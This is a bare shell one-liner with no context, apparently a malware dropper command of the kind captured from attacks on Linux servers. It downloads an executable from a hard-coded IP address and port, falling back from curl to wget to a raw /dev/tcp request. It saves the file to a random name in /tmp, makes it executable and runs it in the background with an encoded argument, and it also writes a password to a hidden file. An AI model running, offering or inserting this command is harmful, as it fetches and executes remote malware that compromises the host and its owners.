nohup $SHELL -c "curl http://47.76.77.187:60137/linux -o /tmp/ITt8LUXQ28; if [ ! -f /tmp/ITt8LUXQ28 ]; then wget http://47.76.77.187:60137/linux -O /tmp/ITt8LUXQ28; fi; if [ ! -f /tmp/ITt8LUXQ28 ]; then exec 6<>/dev/tcp/47.76.77.187/60137 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ITt8LUXQ28 && chmod +x /tmp/ITt8LUXQ28 && /tmp/ITt8LUXQ28 DrfmktWoqq+ywpHvp21xoe2W3LerrKbdmee5cnGk[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ITt8LUXQ28 && /tmp/ITt8LUXQ28 DrfmktWoqq+ywpHvp21xoe2W3LerrKbdmee5cnGk[...]" &#UPX!